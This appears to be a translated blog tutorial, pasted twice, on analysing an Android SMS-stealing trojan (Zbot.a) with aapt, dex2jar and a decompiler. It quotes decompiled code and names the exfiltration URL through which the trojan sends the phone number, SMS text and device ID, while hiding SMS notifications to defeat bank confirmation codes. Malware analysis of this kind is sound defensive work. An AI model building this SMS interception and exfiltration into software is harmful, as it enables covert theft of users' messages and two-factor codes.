Analysis of the malware for Android on the example of Trojan-Spy.AndroidOS.Zbot.a / Android.Smssniffer / Android / SpySMS / AndroidOS_SMSREP.B
The content of the topic can be represented in this form:
1. General information about APK files
2. Analysis of the malware
2.1 Utilities for parsing
2.2 Analysis
In order to better understand the features of malware research for Android, you must first understand what APK files are. If you already know this, you can immediately move on to the second part.
Programs for Android are distributed in archives. These archives have the .apk extension. Such files are not encrypted and are compatible with the “zip” format, being in fact a subset of it.
')
Since custom Android applications run in a java-machine, the APK files inherit all the characteristic features of JAR files.
The contents of the archive usually looks like this:
The META-INF directory contains:
CERT.RSA - application certificate
CERT.SF - checksums of resource files (pictures, sounds, etc.)
MANIFEST.MF - service information that describes the apk-file itself
The res directory contains resources — icons in several resolutions, a description of the placement of elements on a form in an xml file.
AndroidManifest.xml - application service information (the SDK version by which the application was created, the OS version under which the application will run, etc.). This file contains the so-called “permission” - permissions that are required for the application to work (for example, access to the network or access to the phone book).
classes.dex is the executable code of the application. This file is what interests us first.
resources.arsc is a table of resources. This file contains xml descriptions of all resources.
That's all the brief information you need to know, starting to analyze malware for Android.
As an example, we have chosen an instance that is detected by various antiviruses as:
Trojan-Spy.AndroidOS.Zbot.a
Android.Smssniffer
Android / SpySMS
AndroidOS_SMSREP.B
More scan results - www.virustotal.com/file-scan/report.html?id=f6239ba0487ffcf4d09255dba781440d2600d3c509e66018e6a5724912df34a9-1310615090
So, we have a suspicious.apk file. What to do with it?
You will need the following utilities:
Android SDK
Converter dex- and apk-files to jar "dex2jar"
Java bytecode decompiler (jar files) in a clear view
All utilities are available for free download and are cross-platform, so you can perform all actions on both Windows and Linux.
At the very beginning, in order to better understand what exactly to look for, you need to analyze the file “AndroidManifest.xml” - to see exactly which permissions-permissions are required for the analyzed application. This file is binary, not plain text xml. In order to read it you need to use the console utility “aapt” from the Android SDK. It is located in the platform-tools directory. Since there is no graphical interface, the command must be entered into the console. For example, for Windows:
Of course, you have to substitute your paths. In Linux, the command will be the same with obvious differences (there will be no drive letters and the “exe” extension of the utility). For more convenience, the output can be redirected to a file:
In the file you need to find the section “Android manifest” and look for the enumeration of permissions. In the analyzed file it looks like this:
From this information it becomes clear that the program can get the state of the phone (including, for example, “phone in call mode”, “phone in data acceptance mode”, a full list of states - developer.android.com/reference/android/telephony/TelephonyManager.html This permission is also needed to get the phone number on which the program is running) to work with the network and monitor the arrival of SMS. On these aspects, and you need to focus on further analysis.
In order to get access to the code, you need to perform two steps - convert the apk-file into a jar-file and decompile the resulting bytecode into a more human-friendly form.
Let's use the dex2jar converter:
The converted file will be located in the same directory as the original file. ".Dex2jar.jar" will be added to its name, that is, in this example it will be "suspicious.apk.dex2jar.jar".
This file can be opened with a decompiler. The package hierarchy in the decompiler window looks like this:
At this preparatory steps, easy to describe, end - further success depends only on your knowledge of java and the ability to use a search engine.
Fortunately, the instance selected for the example has a rather modest size - the final jar is only 7.01 KB.
The program has only six classes. Exclude those that are not of interest. This is a class R, in which only the identifiers of all resources are listed. Also, the class Config, which contains the configuration of the build, can be excluded from consideration.
Let us consider in more detail the remaining three classes.
This class is triggered by the onCreate event, that is, immediately after the application starts.
Next comes the cycle, which divides the DeviceId into pieces of four digits, inserting a hyphen "-" between them, that is, XXXXXXXXXXXXXXXX turns out to be XXXX-XXXX-XXXX-XXXX. The resulting string of numbers and hyphens is passed to the TextView with the identifier 2131034112.
This class is triggered by the arrival of an SMS message, the onReceive event.
The task of this class is to track incoming SMS and, if found, launch the MainService class, passing it a pointer to the newly arrived message.
This class is quite large, so I will not give it entirely. Immediately after the call, it launches the subclass “SmsBlockerThread”, which blocks the notification of incoming SMS, so that the user is not notified about the new incoming SMS.
Then the incoming SMS is processed as follows:
Then the associated pairs localBasicNameValuePair1 and localBasicNameValuePair2 are created in which the values ​​are placed.
These pairs are stored in the localArrayList array, to which they later add the pair localBasicNameValuePair3, which is
In this case, as you can see, the DeviceId is obtained anew, and what is obtained in the Activation class is not used.
It ends with the fact that the postRequest method from the last ServerSession class is called:
The parameter is the same array of pairs in which the phone number, the contents of the SMS and the device identifier.
This class has two methods: initUrl, which returns part of the link "(http://softthrifty.com/security.jsp)":
and the large postRequest method, which was called from the MainService class. Despite its size, the postRequest task is simple - send to the server using the link returned by the initUrl method, adding data from the array collected in MainService. That is just contact the link:
(http://softthrifty.com/security.jsp?f0=< phone number> & b0 = <message text> & id = <device id>)
So, this Trojan intercepts SMS and sends to the server a request in which it transmits the number of the infected phone, the contents of the SMS and the identifier of the infected phone. Such behavior may be a sign of a banking Trojan attacking two-factor authentication. The same behavior was typical of Zbot for Symbian mobile platform . For a successful attack requires the following conditions:
1) the attacker must infect the victim's computer in order to intercept data for online banking;
2) the attacker must infect the victim's phone in order to intercept SMS with a confirmation code from the bank;
3) the attacker must somehow bind the user of the infected computer and the infected phone in order to know from which credentials of online banking this confirmation code;
I do not know how much such a threat is represented by such malware, but because of its size and the obviousness of the activity being performed, such a sample is well suited for demonstrating the basic techniques for analyzing malware for Android.
1. General information about APK files
2. Analysis of the malware
2.1 Utilities for parsing
2.2 Analysis
1. Information about APK files
In order to better understand the features of malware research for Android, you must first understand what APK files are. If you already know this, you can immediately move on to the second part.
Programs for Android are distributed in archives. These archives have the .apk extension. Such files are not encrypted and are compatible with the “zip” format, being in fact a subset of it.
')
Since custom Android applications run in a java-machine, the APK files inherit all the characteristic features of JAR files.
The contents of the archive usually looks like this:
The META-INF directory contains:
CERT.RSA - application certificate
CERT.SF - checksums of resource files (pictures, sounds, etc.)
MANIFEST.MF - service information that describes the apk-file itself
The res directory contains resources — icons in several resolutions, a description of the placement of elements on a form in an xml file.
AndroidManifest.xml - application service information (the SDK version by which the application was created, the OS version under which the application will run, etc.). This file contains the so-called “permission” - permissions that are required for the application to work (for example, access to the network or access to the phone book).
classes.dex is the executable code of the application. This file is what interests us first.
resources.arsc is a table of resources. This file contains xml descriptions of all resources.
That's all the brief information you need to know, starting to analyze malware for Android.
2. Analysis of the malware
As an example, we have chosen an instance that is detected by various antiviruses as:
Trojan-Spy.AndroidOS.Zbot.a
Android.Smssniffer
Android / SpySMS
AndroidOS_SMSREP.B
More scan results - www.virustotal.com/file-scan/report.html?id=f6239ba0487ffcf4d09255dba781440d2600d3c509e66018e6a5724912df34a9-1310615090
So, we have a suspicious.apk file. What to do with it?
2.1 Utilities for parsing
You will need the following utilities:
Android SDK
Converter dex- and apk-files to jar "dex2jar"
Java bytecode decompiler (jar files) in a clear view
All utilities are available for free download and are cross-platform, so you can perform all actions on both Windows and Linux.
2.2 Analysis
At the very beginning, in order to better understand what exactly to look for, you need to analyze the file “AndroidManifest.xml” - to see exactly which permissions-permissions are required for the analyzed application. This file is binary, not plain text xml. In order to read it you need to use the console utility “aapt” from the Android SDK. It is located in the platform-tools directory. Since there is no graphical interface, the command must be entered into the console. For example, for Windows:
C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apkOf course, you have to substitute your paths. In Linux, the command will be the same with obvious differences (there will be no drive letters and the “exe” extension of the utility). For more convenience, the output can be redirected to a file:
C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txtIn the file you need to find the section “Android manifest” and look for the enumeration of permissions. In the analyzed file it looks like this:
"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE")
"android.permission.INTERNET" (Raw: "android.permission.INTERNET")
"android.permission." (Raw: "android.permission.RECEIVE_SMS")From this information it becomes clear that the program can get the state of the phone (including, for example, “phone in call mode”, “phone in data acceptance mode”, a full list of states - developer.android.com/reference/android/telephony/TelephonyManager.html This permission is also needed to get the phone number on which the program is running) to work with the network and monitor the arrival of SMS. On these aspects, and you need to focus on further analysis.
In order to get access to the code, you need to perform two steps - convert the apk-file into a jar-file and decompile the resulting bytecode into a more human-friendly form.
Let's use the dex2jar converter:
C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apkThe converted file will be located in the same directory as the original file. ".Dex2jar.jar" will be added to its name, that is, in this example it will be "suspicious.apk.dex2jar.jar".
This file can be opened with a decompiler. The package hierarchy in the decompiler window looks like this:
At this preparatory steps, easy to describe, end - further success depends only on your knowledge of java and the ability to use a search engine.
Fortunately, the instance selected for the example has a rather modest size - the final jar is only 7.01 KB.
The program has only six classes. Exclude those that are not of interest. This is a class R, in which only the identifiers of all resources are listed. Also, the class Config, which contains the configuration of the build, can be excluded from consideration.
Let us consider in more detail the remaining three classes.
Activation
This class is triggered by the onCreate event, that is, immediately after the application starts.
TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone"); - creates a localTelephonyManager structure into which it places data about the devicestr1 = localTelephonyManager.getDeviceId(); - selects the identification number of the device from the received data and places it in the string str1Next comes the cycle, which divides the DeviceId into pieces of four digits, inserting a hyphen "-" between them, that is, XXXXXXXXXXXXXXXX turns out to be XXXX-XXXX-XXXX-XXXX. The resulting string of numbers and hyphens is passed to the TextView with the identifier 2131034112.
Smsreciever
This class is triggered by the arrival of an SMS message, the onReceive event.
The task of this class is to track incoming SMS and, if found, launch the MainService class, passing it a pointer to the newly arrived message.
MainService
This class is quite large, so I will not give it entirely. Immediately after the call, it launches the subclass “SmsBlockerThread”, which blocks the notification of incoming SMS, so that the user is not notified about the new incoming SMS.
Then the incoming SMS is processed as follows:
String str1 = localSmsMessage.getOriginatingAddress(); - the recipient's phone number (that is, the phone number on which the Trojan is installed) is placed in the variable str1String str2 = localSmsMessage.getMessageBody(); - the message body is placed in the variable str2Then the associated pairs localBasicNameValuePair1 and localBasicNameValuePair2 are created in which the values ​​are placed.
f0=< >b0=< >These pairs are stored in the localArrayList array, to which they later add the pair localBasicNameValuePair3, which is
id=<id >In this case, as you can see, the DeviceId is obtained anew, and what is obtained in the Activation class is not used.
It ends with the fact that the postRequest method from the last ServerSession class is called:
The parameter is the same array of pairs in which the phone number, the contents of the SMS and the device identifier.
Server session
This class has two methods: initUrl, which returns part of the link "(http://softthrifty.com/security.jsp)":
and the large postRequest method, which was called from the MainService class. Despite its size, the postRequest task is simple - send to the server using the link returned by the initUrl method, adding data from the array collected in MainService. That is just contact the link:
(http://softthrifty.com/security.jsp?f0=< phone number> & b0 = <message text> & id = <device id>)
Total
So, this Trojan intercepts SMS and sends to the server a request in which it transmits the number of the infected phone, the contents of the SMS and the identifier of the infected phone. Such behavior may be a sign of a banking Trojan attacking two-factor authentication. The same behavior was typical of Zbot for Symbian mobile platform . For a successful attack requires the following conditions:
1) the attacker must infect the victim's computer in order to intercept data for online banking;
2) the attacker must infect the victim's phone in order to intercept SMS with a confirmation code from the bank;
3) the attacker must somehow bind the user of the infected computer and the infected phone in order to know from which credentials of online banking this confirmation code;
I do not know how much such a threat is represented by such malware, but because of its size and the obviousness of the activity being performed, such a sample is well suited for demonstrating the basic techniques for analyzing malware for Android.
Source: https://habr.com/ru/post/128555/
All Articles